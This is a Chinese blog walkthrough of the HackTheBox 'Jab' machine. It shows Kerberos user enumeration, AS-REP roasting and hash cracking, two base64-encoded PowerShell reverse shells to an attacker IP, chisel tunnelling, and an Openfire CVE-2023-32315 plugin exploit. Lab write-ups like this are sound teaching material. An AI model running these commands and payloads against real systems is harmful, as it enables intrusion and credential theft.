[Meachines][Medium]Jab

最新推荐文章于 2024-06-20 23:57:10 发布
最新推荐文章于 2024-06-20 23:57:10 发布
阅读量966 收藏 30
点赞数 21
分类专栏： HackTheBox 文章标签： php 开发语言
Whoami? Martin
本文链接：https://blog.csdn.net/qq_51886509/article/details/138236857
版权

Main

$ nmap -p- 10.10.11.4 --min-rate 1000 -sV -sC

image.png

把里面的URL放到/etc/hosts里

10.10.11.4 DC01.jab.htb jab.htb
  • XMPP（Extensible Messaging and Presence Protocol 5269）是一种开放式的通信协议，用于实时通信，特别是即时消息传递（IM）。它最初被设计用于即时通讯系统，如聊天，但后来被广泛用于各种实时通信和协作场景，包括社交网络、物联网（IoT）、在线游戏和远程协作工具等。XMPP允许用户通过各种设备进行实时通信，包括计算机、智能手机和其他物联网设备。

image.png

在此之前我们需要下载Pidgin

安装聊天工具

$ sudo apt install pidgin

  • Pidgin是一款跨平台的即时通讯客户端软件，它支持多种即时通讯协议，包括XMPP、AIM、ICQ、Google Talk、MSN、IRC等。Pidgin的目标是提供一个统一的界面，让用户可以同时连接多个即时通讯网络，而无需安装每个网络的单独客户端。

然后准备开始爆破Kerberos用户

  • Kerberos是一种网络身份验证协议，用于在不安全的网络环境中安全地验证用户身份。它最初由麻省理工学院开发，旨在提供计算机网络的安全性。Kerberos使用对称密钥加密技术，通过票据交换的方式来验证用户的身份，以及在用户和网络服务之间建立安全通信。

$ pidgin

image.png

点击Add添加,协议改成XMPP

image.png

来到Advanced页面,将靶机IP写入

image.png

最后Add添加

Accept同意

image.png

再次点击Modify进行修改,输入密码后勾选创建用户复选框,保存

image.png

双击用户后,填写注册信息

image.png

image.png

image.png

枚举聊天用户-方法1

$ sudo apt install golang-go
$ wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
$ chmod 777 kerbrute_linux_amd64
$ ./kerbrute_linux_amd64

image.png

$ ./kerbrute_linux_amd64 userenum --dc dc01.jab.htb -d jab.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o recore.log

没有这个字典的·apt install seclists·就好了

image.png

$ grep -oP '\S+(?=@jab\.htb)' recore.log | sort | uniq >User.txt

枚举聊天用户-方法2

$ sudo pidgin -d >recore.log

这里如果没有Search for Users,大概率是vpn掉线了

Accounts->name@jab.htb->Search for Users->Search Directory->Advanced User Search(我们将表达式写成*)

image.png

image.png

$ grep -oP '<value>\K[^<]+@jab.htb(?=</value>)' recore.log | sed 's/@jab.htb//g' | sort | uniq >User.txt

image.png

爆破聊天用户哈希密码

$ git clone https://github.com/fortra/impacket.git
$ cd impacket
$ sudo python3 setup.py install
$ GetNPUsers.py

$ GetNPUsers.py jab.htb/ -usersfile User.txt -format hashcat -outputfile hashes

image.png

  • GetNPUsers 工具利用了 Kerberos 中的漏洞来获取有效用户的哈希，工作原理如下：

  • 用户不存在预授权（AS-REP）攻击：工具首先识别目标域中的“无预授权”用户，这些用户在域中没有预授权（Pre-Authentication）设置。然后，工具利用这些用户的特性向目标域控制器发送 TGT 请求，但是不提供用户的预授权数据。由于这些用户未启用预授权，域控制器会返回 TGT 票据，这样工具就能够获取到 TGT 票据的哈希值。

  • 利用哈希值：获取到的哈希值可以通过破解或者进一步的攻击用于获取目标系统的访问权限。通常情况下，哈希值可以被破解为明文密码，然后可以使用这些密码进一步在目标系统上执行各种操作。

image.png

$ hashcat --force -m 18200 hashes /usr/share/wordlists/rockyou.txt

image.png

username:jmontgomery
password:Midnight_121

来到pidgin将用户添加进去

image.png

image.png

成功登录
Buddies->AddChat->RoomList->Find Rooms->
image.png
进入该聊天AddChat

image.png

从历史聊天中找到域服务器特权用户的账户密码,利用dcomexec
username:svc_openfire
password:!@#$%^&*(1qazxsw

  • dcomexec.py 脚本使用了 DCOM 协议来执行命令，可以利用该协议在目标系统上执行远程命令。在这个特定的命令中，svc_openfire 用户的凭据被用来建立远程连接，并在目标系统上实例化 COM 对象以执行指定的命令。

  • DCOM（Distributed Component Object Model）是一种微软用于远程对象通信的技术，它允许分布式系统中的对象进行通信和交互。DCOM 协议建立在 COM（Component Object Model）之上，通过网络传输数据和控制信息，使得远程系统可以调用和执行远程对象的方法。

  • DCOM 协议之所以能够执行命令，主要是因为它允许在远程系统上实例化 COM 对象，并通过这些对象来执行本地系统上的操作。在远程系统上实例化 COM 对象后，可以调用对象的方法来执行各种任务，包括执行命令、读取文件、修改注册表等。因此，攻击者可以利用 DCOM 协议来执行远程命令，从而在目标系统上执行恶意操作。

https://www.revshells.com/
用powershell #3 (base64)

$ dcomexec.py -object MMC20 jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAzACIALAAxADAAMAAzADIAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA' -silentcommand

image.png

大概18秒后会反弹一个shell

image.png

User Flag

PS C:\windows\system32> type c:\Users\svc_openfire\Desktop\user.txt

image.png

157af72bc853083562ace527d2a1c16f

Root Flag

PS C:\windows\system32> netstat -ant | findstr LISTENING

找开放的端口

image.png

C:\windows\system32> certutil.exe -urlcache -f http://127.0.0.1:9090

9090端口上开放了一个本地的web服务

image.png

我们需要使用chisel来进行映射端口到我们的攻击端访问

https://github.com/jpillora/chisel/releases/tag/v1.9.1

下载chisel_1.9.1_windows_arm64.gz
和chisel_1.9.1_linux_arm64.gz

$ wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_windows_amd64.gz

$ wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz

$ gzip -d chisel_1.9.1_windows_amd64.gz

$ gzip -d chisel_1.9.1_linux_amd64.gz

$ chmod 777 chisel_1.9.1_linux_amd64

$ mv chisel_1.9.1_windows_amd64 chisel_1.9.1_windows_amd64.exe

$ sudo python3 -m http.server 80

开启服务端让客户端下载chisel_1.9.1_windows_amd64.exe

PS C:\windows\system32>cd C:\Users\svc_openfire\Desktop

PS C:\Users\svc_openfire\Desktop>certutil.exe -urlcache -f http://10.10.16.23/chisel_1.9.1_windows_amd64.exe chisel.exe

image.png

在kali端设置映射服务端

$ ./chisel_1.9.1_linux_amd64 server --port 9088 --reverse

image.png

客户端进行映射

PS C:\Users\svc_openfire\Desktop> .\chisel.exe client 10.10.16.23:9088 R:9090:127.0.0.1:9090

image.png

image.png

我们在kali上访问http://localhost:9090

image.png

在这个页面我们使用之前的账户密码登录

image.png

通过漏洞库搜索,存在CVE-2023-32315

image.png

$ git clone https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass.git
$ cd CVE-2023-32315-Openfire-Bypass
$ sudo apt install maven
$ mvn clean package

将org.jivesoftware.openfire.plugin.CVE-openfire-plugin-assembly.jar包在插件页面进行上传

image.png

image.png

来到Server->Server Settings->Shell Plugin

image.png

image.png

密码123

转到系统命令

image.png

image.png

https://www.revshells.com/

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAzACIALAAxADAAMAAzADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

image.png

image.png

07c41b2d1d2936af484acbc6b6c564af

Мартин.
关注
  • 21
    点赞
  • 踩
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
jab是什么java_JAB（java access bridge）安装和使用
weixin_31539461的博客
02-16 1448
【实例简介】使用JAB来实现java代码控制java窗口的工具，网上资料很少，自己的研究也有限，希望多多指教【实例截图】【核心代码】3436269JAB安装以及使用文件└── JAB安装以及使用文件├── accessbridge2_0_2│ ├── access-bridge-32.jar│ ├── access-bridge-64.jar│ ├── access-bridge.ja...
jab是什么java_JAB(java access bridge)学习和使用
weixin_30356285的博客
02-13 2087
1、JAB的安装可参见官网的说明：http://www.oracle.com/technetwork/cn/java/javase/tech/index-jsp-136191-zhs.html具体步骤大致如下：(1)先安装java的运行环境，可以运行一个含有java程序的html文件，网页会提示需要安装插件，点击安装插件会自动跳转到java的官网上，下载并安装java的环境。(由于最新的java8...
JAB工作过程
顺其自然~专栏
11-18 385
JVM加载java.awt.Toolkit时，默认执行initAssistiveTechnologies方法。该方法加载accessibility.properties文件。 读取文件中的assistive_technologies属性。 找到access-bridge-32.jar下的com.sun.java.accessibility.AccessBridge并加载。 该方法加载JavaAccessBridge-32.dll。 该dll启动隐藏窗口，并与调用com.su...
jab是什么java_jabdp常用控件
weixin_35987118的博客
02-16 460
应用好不好用，用户体验是非常重要的。jabdp已经集成丰富的UI组件，并且与字段绑定好。 1、下拉框(combobox) 下拉框是最常用的控件，它是怎么实现的呢。 在字段属性里，编辑类型选【comboBox】，然后【数据源设置】，数据源设置有三个选项，分别是固定值、sql语句、模块。选项一：数据源为固定值数据源为固定值的比较简单。字段key是存储在数据库的实际值，caption是下拉框展示出来的值...
c语言python和jab,JabRef学习笔记(一)
weixin_34319902的博客
05-19 274
JabRef简介JabRef is an open source bibliography reference manager. The native file format used by JabRef is BibTeX, the standard LaTeX bibliography format. JabRef is a desktop application and runs on th...
Hack The Box-Jab
m0_52742680的博客
02-26 1764
HackTheBox季节性靶场第八篇
java 解析 xml jab2,Java引用详解
weixin_34277895的博客
03-14 488
1 Java中的四种引用在Java中提供了四个级别的引用：强引用，软引用，弱引用和虚引用。在这四个引用类型中，只有强引用FinalReference类是包内可见，其他三种引用类型均为public，可以在应用程序中直接使用。引用类型的类结构如图所示。1.1 强引用Java中的强引用指的是，程序中有直接可达的引用。如Object obj = new Object();强引用的特点：强引用可以直接访问目...
彩色二维码-JAB code
陆沙的博客
12-14 1265
概述 JAB码是德国Fraunhofer SIT（去官网）开发的一种二维码，看起来像彩色QR code，官网说2022年就要变成ISO标准了，且与传统的黑白二维码相比，相同尺寸下可以承载更多信息（毕竟有颜色信息嘛），而且更安全。 线上测试编码和解码看这里：https://jabcode.org/ ...
java 解析 xml jab2_【Java中级】36.0 SSM之SpringBoot框架（二）——2.X版本的使用
weixin_30792221的博客
03-02 115
1.0 SpringBoot框架的一些基础请见：2.0 springboot2.X新特性概述1、依赖版本jdk8以上, Springboot2.x用JDK8, 因为底层是 Spring framework5, 当然，也支持JDK1.92、安装maven最新版本，springboot2.X需要maven3.2以上版本，下载地址 ：Downloading Apache Maven 3.6.33、Ecl...
jab-diagrams
03-06
jab-diagrams
JAB （java access bridge） 手工安装文件包
03-17
ava Access Bridge 是一项在 Microsoft Windows DLL 中公开 Java Accessibility API 的技术，可以使实现 Java Accessibility API 的 Java 应用程序和小程序对 Microsoft Windows 系统上的辅助技术可见。...
JAB（java access bridge）安装和使用
01-15
使用JAB来实现java代码控制java窗口的工具，网上资料很少，自己的研究也有限，希望多多指教
jab4trans-开源
05-01
具有翻译功能的Java聊天服务器和客户端
jibdocker:JAB工具的演示JAVA应用程序
05-01
吉伯码头工人JAB工具的演示JAVA应用程序
深入解析PHP函数
NatLindsay的博客
06-17 428
PHP函数是一种重要的编程概念，它可以帮助开发者组织和管理代码，提高代码的可重用性和可维护性。在PHP中，函数可以完成各种任务，从简单的数学计算到复杂的数据库查询和数据处理。本文将从多个角度探讨PHP函数的应用，涵盖了函数的定义和调用、内置函数的使用、自定义函数的创建以及常见的函数库。函数的参数：函数可以接受零个或多个参数，用于传递数据给函数内部使用。函数可以带有参数，用于接收输入，也可以返回值。函数命名：选择一个有意义的函数名，以便描述函数的功能。函数体：编写函数的具体实现代码，实现特定的功能。
ImageNet-1k 测试集 两大坑
weixin_42815846的博客
06-16 313
不然就会浪费一次提交机会，直接提交submission.txt就可以，注意每排5个预测结果，用于计算top5 error。2、用torchvision自带的imagenet dataset类加载进来的数据的类别标签，）但torchvision自动给你弄成。1、官方网站提交test set标签时，，但是他们的类别id不一样！以chickadee 山雀为例。这是torchvision的。他们的WNID都一样，
[极客大挑战 2020]Roamphp4-Rceme
最新发布
不会编程的崽的博客
06-20 205
右键源代码里给了提示，有备份文件index.php.swp,大伙都做到这来了，应该不用写了吧。加这个[~%FF]只是因为php7的解析方式，当然换成其他的也可以例如[~%EF] [~%CF]passthru(next(getallheaders()));然后，需要要绕过两层，多年rce经验，相信你一眼能看出。我们由内往外构造，这里需要前置知识(贴其他大佬的吧)知道原因可以在评论区踢我一脚。
1. NAS和SAN存储
u010198709的博客
06-13 560
流程：存储端共享裸块设备，客户端连接存储映射出sdx的虚拟硬盘，客户端分区格式化挂载使用。IQN名称格式: iqn.yyyy-mm.反域名:自定义名称。用户名：openfiler， 密码：password。磁盘接口：SATA，SAS、NVME。支持nfs、cifs协议共享存储空间。nfs：适用于Linux、Unix。类型：IP SAN、FC SAN。cifs：适用于Windows。磁盘类型：机械硬盘、SSD。基于文件系统级别的共享。DAS 直接附加存储。NAS 网络附加存储。SAN 存储区域网络。
jab python
09-06
Jab（Jabber）是一种即时通讯协议，类似于QQ或微信。它提供了实时的消息传递、文件传输、语音和视频通话等功能。Jabber在Python中可以使用各种库进行开发和集成，如xmpppy、sleekxmpp等。在Python中使用Jabber需要...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值